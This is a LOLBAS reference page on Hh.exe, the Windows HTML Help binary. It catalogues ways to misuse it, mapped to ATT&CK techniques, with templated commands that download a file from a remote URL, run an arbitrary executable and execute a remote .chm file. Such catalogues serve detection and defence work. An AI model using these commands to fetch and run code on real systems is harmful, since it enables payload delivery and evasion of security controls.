LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

Hh.exe

View source

Binary used for processing chm files in Windows

DownloadExecute
03COMMAND EXAMPLES
02ATT&CK TECHNIQUES
06DETECTION RESOURCES
02CAPABILITIES
01 / TRADECRAFT

Command reference

3 examples

Download1

EXAMPLE 01T1105

Open the target batch script with HTML Help.

COMMAND
HH.exe {REMOTEURL:.bat}
USE CASE
Download files from url
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · EXEApplication · GUI

Execute2

EXAMPLE 01T1218.001

Executes specified executable with HTML Help.

COMMAND
HH.exe {PATH_ABSOLUTE:.exe}
USE CASE
Execute process with HH.exe
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · EXEApplication · GUI
EXAMPLE 02T1218.001

Executes a remote .chm file which can contain commands.

COMMAND
HH.exe {REMOTEURL:.chm}
USE CASE
Execute commands with HH.exe
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · CMDExecute · CHMExecute · Remote
02 / ON DISK

Known paths

C:\Windows\hh.exe
C:\Windows\SysWOW64\hh.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

6 resources
FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Oddvar Moe@oddvarmoe